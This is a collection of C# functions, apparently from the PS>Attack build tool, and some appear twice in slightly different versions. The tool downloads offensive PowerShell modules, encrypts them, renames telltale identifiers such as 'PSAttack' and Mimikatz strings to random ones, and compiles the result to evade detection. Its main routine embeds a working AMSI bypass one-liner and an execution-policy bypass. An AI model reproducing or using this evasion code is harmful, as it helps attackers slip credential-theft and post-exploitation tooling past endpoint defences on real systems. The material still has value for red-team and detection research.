public static int BuildPSAttack(Attack attack, GeneratedStrings generatedStrings) { //DateTime now = DateTime.Now; //string buildDate = String.Format("{0:MMMM dd yyyy} at {0:hh:mm:ss tt}", now); //using (StreamWriter buildDateFile = new StreamWriter(Path.Combine(attack.resources_dir, "attackDate.txt"))) //{ // buildDateFile.Write(buildDate); //} string dotNetDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(); string msbuildPath = Path.Combine(dotNetDir, "msbuild.exe"); if (File.Exists(msbuildPath)) { Process msbuild = new Process(); msbuild.StartInfo.FileName = msbuildPath; msbuild.StartInfo.Arguments = attack.build_args(Path.Combine(Strings.obfuscatedSourceDir, generatedStrings.Store["psaReplacement"] + ".sln")); msbuild.StartInfo.UseShellExecute = false; msbuild.StartInfo.RedirectStandardOutput = true; msbuild.StartInfo.RedirectStandardError = true; Console.WriteLine("Running build with this command: {0} {1}", msbuild.StartInfo.FileName, msbuild.StartInfo.Arguments); msbuild.Start(); string output = msbuild.StandardOutput.ReadToEnd(); Console.WriteLine(output); string err = msbuild.StandardError.ReadToEnd(); Console.WriteLine(err); msbuild.WaitForExit(); int exitCode = msbuild.ExitCode; msbuild.Close(); return exitCode; } return 999; }
public ObfuscationEngine(GeneratedStrings generatedStrings) { this.RandomizeText = false; this.rand = new Random(); this.Rulesets = new List<Ruleset>(); // Mimikatz Rules Ruleset mimikatz = new Ruleset { Name = "Mimikatz", Type="PowerShell", FileName = "invoke-mimikatz.ps1", Rules = new List<Rule>() }; mimikatz.Rules.Add(new Rule { Name = "'-mimikatz' Replace", Type = "replace", Trigger = "-mimikatz", Action = "-#RANDOM" }); mimikatz.Rules.Add(new Rule { Name = "' mimikatz' Replace", Type = "replace", Trigger = " mimikatz", Action = " #RANDOM" }); // General Rules Ruleset general = new Ruleset { Name = "General", Type = "PowerShell", FileName = "#ALL", Rules = new List<Rule>() }; general.Rules.Add(new Rule { Name = "Variable Radomization", Type = "ReplaceList", Trigger = @"(\$)[A-Za-z\d]+\b", Action = "$#RANDOM" }); // C# Rules Ruleset psaSource = new Ruleset { Name = "PSAttack", Type = "SourceCode", FileName = "#ALL", Rules = new List<Rule>() }; string psaReplace = PSABTUtils.RandomString(this.rand.Next(6,15), this.rand); generatedStrings.Store.Add("psaReplacement", psaReplace); string attackStateReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand); generatedStrings.Store.Add("attackStateReplacement", attackStateReplacement); string psparamReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand); generatedStrings.Store.Add("psparamReplacement", psparamReplacement); psaSource.Rules.Add(new Rule { Name = "'PSAttack' Replace", Type = "replace", Trigger = "PSAttack", Action = psaReplace }); psaSource.Rules.Add(new Rule { Name = "'PS>Attack' Replace", Type = "replace", Trigger = "PS>Attack", Action = psaReplace }); psaSource.Rules.Add(new Rule { Name = "'attackState' Replace", Type = "replace", Trigger = "attackState", Action = attackStateReplacement }); psaSource.Rules.Add(new Rule { Name = "'psparam' Replace", Type = "replace", Trigger = "psparam", Action = psparamReplacement }); psaSource.Rules.Add(new Rule { Name = "'psaLogos' Replace", Type = "replace", Trigger = "psaLogos", Action = PSABTUtils.RandomString(this.rand.Next(8, 14), this.rand) }); //this.Rulesets.Add(mimikatz); //this.Rulesets.Add(general); this.Rulesets.Add(psaSource); }
public static int BuildPSAttack(Attack attack, GeneratedStrings rulesStrings) { //DateTime now = DateTime.Now; //string buildDate = String.Format("{0:MMMM dd yyyy} at {0:hh:mm:ss tt}", now); //using (StreamWriter buildDateFile = new StreamWriter(Path.Combine(attack.resources_dir, "attackDate.txt"))) //{ // buildDateFile.Write(buildDate); //} string dotNetDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(); string msbuildPath = Path.Combine(dotNetDir, "msbuild.exe"); if (File.Exists(msbuildPath)) { Process msbuild = new Process(); msbuild.StartInfo.FileName = msbuildPath; msbuild.StartInfo.Arguments = attack.build_args(Path.Combine(Strings.obfuscatedSourceDir, rulesStrings.Store["PSAttack"] + ".sln")); msbuild.StartInfo.UseShellExecute = false; msbuild.StartInfo.RedirectStandardOutput = true; msbuild.StartInfo.RedirectStandardError = true; Console.WriteLine("Running build with this command: {0} {1}", msbuild.StartInfo.FileName, msbuild.StartInfo.Arguments); msbuild.Start(); string output = msbuild.StandardOutput.ReadToEnd(); Console.WriteLine(output); string err = msbuild.StandardError.ReadToEnd(); Console.WriteLine(err); msbuild.WaitForExit(); int exitCode = msbuild.ExitCode; msbuild.Close(); return(exitCode); } return(999); }
public static string GenerateKey(Attack attack, GeneratedStrings generatedStrings) { if (!(generatedStrings.Store.ContainsKey("encryptionKey"))) { string key = RandomString(64); generatedStrings.Store.Add("encryptionKey", key); } return(generatedStrings.Store["encryptionKey"]); }
public static void BuildConfigFile(Attack attack, GeneratedStrings generatedStrings) { attack.ClearConfigFile(); PSAttackConfig psaConfig = new PSAttackConfig(); psaConfig.Session = new Dictionary<string, object>(); psaConfig.Session.Add("encryptionKey", generatedStrings.Store["encryptionKey"]); psaConfig.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]); psaConfig.Initialize(); var generatedCode = psaConfig.TransformText(); File.WriteAllText(attack.config_file, generatedCode); }
public static void BuildConfigFile(Attack attack, GeneratedStrings generatedStrings) { attack.ClearConfigFile(); PSAttackConfig psaConfig = new PSAttackConfig(); psaConfig.Session = new Dictionary <string, object>(); psaConfig.Session.Add("encryptionKey", generatedStrings.Store["encryptionKey"]); psaConfig.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]); psaConfig.Initialize(); var generatedCode = psaConfig.TransformText(); File.WriteAllText(attack.config_file, generatedCode); }
public static void BuildCsproj(List<Module> modules, Attack attack, GeneratedStrings generatedStrings) { attack.ClearCsproj(); List<string> files = new List<string>(); foreach (Module module in modules) { files.Add(CryptoUtils.EncryptString(attack, module.name, generatedStrings)); } PSAttackCSProj csproj = new PSAttackCSProj(); csproj.Session = new Dictionary<string, object>(); csproj.Session.Add("files", files); csproj.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]); csproj.Initialize(); var generatedCode = csproj.TransformText(); File.WriteAllText(attack.csproj_file, generatedCode); }
public static void BuildCsproj(List <Module> modules, Attack attack, GeneratedStrings generatedStrings) { attack.ClearCsproj(); List <string> files = new List <string>(); foreach (Module module in modules) { files.Add(CryptoUtils.EncryptString(attack, module.name, generatedStrings)); } PSAttackCSProj csproj = new PSAttackCSProj(); csproj.Session = new Dictionary <string, object>(); csproj.Session.Add("files", files); csproj.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]); csproj.Initialize(); var generatedCode = csproj.TransformText(); File.WriteAllText(attack.csproj_file, generatedCode); }
public static string EncryptString(Attack attack, string text, GeneratedStrings generatedStrings) { string key = GenerateKey(attack, generatedStrings); byte[] keyBytes; keyBytes = Encoding.Unicode.GetBytes(key); Rfc2898DeriveBytes derivedKey = new Rfc2898DeriveBytes(key, keyBytes); RijndaelManaged rijndaelCSP = new RijndaelManaged(); rijndaelCSP.Key = derivedKey.GetBytes(rijndaelCSP.KeySize / 8); rijndaelCSP.IV = derivedKey.GetBytes(rijndaelCSP.BlockSize / 8); ICryptoTransform encryptor = rijndaelCSP.CreateEncryptor(); byte[] inputbuffer = Encoding.Unicode.GetBytes(text); byte[] outputBuffer = encryptor.TransformFinalBlock(inputbuffer, 0, inputbuffer.Length); return(Convert.ToBase64String(outputBuffer).Replace("/", "_")); }
public static void EncryptFile(Attack attack, string inputFile, string outputFile, GeneratedStrings generatedStrings) { string key = GenerateKey(attack, generatedStrings); byte[] keyBytes; keyBytes = Encoding.Unicode.GetBytes(key); Rfc2898DeriveBytes derivedKey = new Rfc2898DeriveBytes(key, keyBytes); RijndaelManaged rijndaelCSP = new RijndaelManaged(); rijndaelCSP.Key = derivedKey.GetBytes(rijndaelCSP.KeySize / 8); rijndaelCSP.IV = derivedKey.GetBytes(rijndaelCSP.BlockSize / 8); ICryptoTransform encryptor = rijndaelCSP.CreateEncryptor(); FileStream inputFileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read); byte[] inputFileData = new byte[(int)inputFileStream.Length]; inputFileStream.Read(inputFileData, 0, (int)inputFileStream.Length); FileStream outputFileStream = new FileStream(outputFile, FileMode.Create, FileAccess.Write); CryptoStream encryptStream = new CryptoStream(outputFileStream, encryptor, CryptoStreamMode.Write); encryptStream.Write(inputFileData, 0, (int)inputFileStream.Length); encryptStream.FlushFinalBlock(); rijndaelCSP.Clear(); encryptStream.Close(); inputFileStream.Close(); outputFileStream.Close(); }
public string ProcessSource(Display display, string sourcePath, GeneratedStrings generatedStrings, Attack attack) { string originalFileName = Path.GetFileName(sourcePath); string readScript = File.ReadAllText(sourcePath); string obfuscatedSourcePath = sourcePath.Replace(attack.unzipped_dir, Strings.obfuscatedSourceDir); string fileStub = obfuscatedSourcePath.Replace(Strings.obfuscatedSourceDir, ""); obfuscatedSourcePath = Path.Combine(Strings.obfuscatedSourceDir, fileStub.Replace("PSAttack", generatedStrings.Store["psaReplacement"])); obfuscatedSourcePath = obfuscatedSourcePath.Replace("AttackState", generatedStrings.Store["attackStateReplacement"]); obfuscatedSourcePath = obfuscatedSourcePath.Replace("PSParam", generatedStrings.Store["psparamReplacement"]); // Process Rules foreach (Ruleset ruleset in this.Rulesets) { if (ruleset.Type == "SourceCode") { if (originalFileName.ToLower().Contains(ruleset.FileName.ToLower()) || ruleset.FileName == "#ALL") { FileInfo file = new System.IO.FileInfo(obfuscatedSourcePath); file.Directory.Create(); if (!(sourcePath.Contains(generatedStrings.Store["keyStoreFileName"]) || (sourcePath.Contains("Modules")))) { foreach (Rule rule in ruleset.Rules) { display.updateMessage("Running Replace Rule '" + rule.Name + "'"); readScript = RuleProcessor(display, rule, readScript); } File.WriteAllText(obfuscatedSourcePath, readScript); } else { File.Copy(sourcePath, obfuscatedSourcePath, true); } } } } return obfuscatedSourcePath; }
static void Main(string[] args) { // PRINT START MESSAGE Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(Strings.psaStartMsg); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaWarningMsg); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("\n Press any key to start the build process.."); Console.ReadLine(); Console.Clear(); //PRINT LOGO //Console.ForegroundColor = ConsoleColor.DarkYellow; //Random random = new Random(); //int psaLogoInt = random.Next(Strings.psabtLogos.Count); //Console.WriteLine(Strings.psabtLogos[psaLogoInt]); //Console.WriteLine("Version {0}\n", Strings.version); //Console.ForegroundColor = ConsoleColor.White; Display display = new Display(); GeneratedStrings generatedStrings = new GeneratedStrings(); Random random = new Random(); // DELETE BUILD DIR display.updateStage("Initializing.."); display.updateStatus("Clearing Build Dir: " + PSABTUtils.GetPSAttackBuildToolDir()); Directory.Delete(PSABTUtils.GetPSAttackBuildToolDir(), true); //READ JSON FILE display.updateStage("Initializing.."); display.updateStatus("Loading modules.json"); StreamReader sr = new StreamReader("modules.json"); string modulesJson = sr.ReadToEnd(); MemoryStream memReader = new MemoryStream(Encoding.UTF8.GetBytes(modulesJson)); List<Module> modules = PSABTUtils.GetModuleList(memReader); string workingDir = PSABTUtils.GetPSAttackBuildToolDir(); //GET PS>ATTACK display.updateStage("Getting PS>Attack"); display.updateStatus("Searching Github"); Attack attack = PSABTUtils.GetPSAttack(new Uri(Strings.attackURL)); display.updateStatus("Found Version: " + attack.tag_name); display.updateMessage("Downloading " + attack.zipball_url); attack.DownloadZip(); display.updateMessage("Unzipping to: " + Strings.attackUnzipDir); attack.unzipped_dir = PSABTUtils.UnzipFile(Strings.attackZipPath); // PROCESS PS>ATTACK display.updateStage("Preparing PS>Attack Build"); // CLEAR OUT BUNDLED MODULES display.updateStatus("Clearing modules at: " + attack.modules_dir); display.updateMessage(""); attack.ClearModules(); // CREATE DIRECTORY STRUCTURE if (!(Directory.Exists(Strings.moduleSrcDir))) { display.updateStatus("Creating Modules Source Directory: " + Strings.moduleSrcDir); Directory.CreateDirectory(Strings.moduleSrcDir); } if (!(Directory.Exists(Strings.obfuscatedScriptsDir))) { display.updateStatus("Creating Obfuscated Modules Directory: " + Strings.obfuscatedScriptsDir); Directory.CreateDirectory(Strings.obfuscatedScriptsDir); } if (!(Directory.Exists(Strings.obfuscatedSourceDir))) { display.updateStatus("Creating Obfuscated Source Directory: " + Strings.obfuscatedSourceDir); Directory.CreateDirectory(Strings.obfuscatedSourceDir); } // CLEAR OUT OBFUSCATED SCRIPTS DIR DirectoryInfo dirInfo = new DirectoryInfo(Strings.obfuscatedScriptsDir); foreach (FileInfo file in dirInfo.GetFiles()) { display.updateStatus("Clearing Obfuscated Modules Directory"); display.updateMessage("Deleting: " + file.Name); file.Delete(); } // MAKE NEW MODULES display.updateStage("Processing Modules"); display.updateStatus(""); display.updateMessage(""); foreach (Module module in modules) { string dest = Path.Combine(Strings.moduleSrcDir, (module.name + ".ps1")); string encOutfile = attack.modules_dir + CryptoUtils.EncryptString(attack, module.name, generatedStrings); try { display.updateStatus("Processing " + module.name); display.updateMessage("Downloading from " + module.url); PSABTUtils.DownloadFile(module.url, dest); display.updateMessage("Encrypting " + module.name); CryptoUtils.EncryptFile(attack, dest, encOutfile, generatedStrings); } catch (Exception e) { ConsoleColor origColor = Console.ForegroundColor; Console.ForegroundColor = ConsoleColor.Red; display.updateStatus("ERROR!!"); display.updateMessage("There was an error processing " + module.name + " This will probably break the build."); display.updateSecondaryMessage("Error message: " + e.Message + "\n\n Press enter to continue building PS>Attack.."); Console.ReadLine(); Console.ForegroundColor = origColor; } } // PLACE MATTS AMSI BYPASS IN KEYSTORE generatedStrings.Store.Add("amsiBypass", "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"); generatedStrings.Store.Add("setExecutionPolicy", "Set-ExecutionPolicy Bypass -Scope Process -Force"); generatedStrings.Store.Add("buildDate", DateTime.Now.ToString()); // WRITE KEYS TO CSV DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(Dictionary<string, string>)); string keyStoreFileName = PSABTUtils.RandomString(64, new Random()); generatedStrings.Store.Add("keyStoreFileName", keyStoreFileName); using (StreamWriter keystoreCSV = new StreamWriter(Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"))) { foreach (KeyValuePair<string, string> entry in generatedStrings.Store) { keystoreCSV.WriteLine("{0}|{1}", entry.Key, entry.Value); } } // Encrypt keystore CryptoUtils.EncryptFile(attack, Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"), Path.Combine(attack.resources_dir, keyStoreFileName), generatedStrings); // GENERATE CSPROJ FILE display.updateStage("Building PS>Attack"); display.updateStatus("Generating PSAttack.csproj at " + attack.csproj_file); display.updateMessage(""); PSABTUtils.BuildCsproj(modules, attack, generatedStrings); // GENERATE SETTINGS FILE display.updateStage("Building PS>Attack"); display.updateStatus("Generating Config File at " + attack.config_file); display.updateMessage(""); PSABTUtils.BuildConfigFile(attack, generatedStrings); // GENERATE SETTINGS DESIGNER FILE //display.updateStage("Building PS>Attack"); //display.updateStatus("Generating Settings Designer File at " + attack.config_file); //display.updateMessage(""); //PSABTUtils.BuildSettingsDesignerFile(attack, generatedStrings); // OBFUSCATE ObfuscationEngine.ObfuscationEngine engine = new ObfuscationEngine.ObfuscationEngine(generatedStrings); string[] files = Directory.GetFiles(Strings.attackUnzipDir, "*.*", SearchOption.AllDirectories); foreach (string file in files) { engine.ProcessSource(display, file, generatedStrings, attack); } // BUILD PS>ATTACK Timer timer = new Timer(1200); display.updateStatus("Kicking off build"); display.updateMessage("3.."); display.updateMessage("3.. 2.."); display.updateMessage("3.. 2.. 1..\n\n\n"); Console.ForegroundColor = ConsoleColor.Gray; int exitCode = PSABTUtils.BuildPSAttack(attack, generatedStrings); if (exitCode == 0) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(Strings.psaEndSuccess, Strings.attackBuildDir); Console.ReadLine(); Process.Start(Strings.attackBuildDir); } else if (exitCode == 999) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndNoMSBuild, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory()); Console.ReadLine(); Environment.Exit(exitCode); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndFailure); Console.ReadLine(); Environment.Exit(exitCode); } }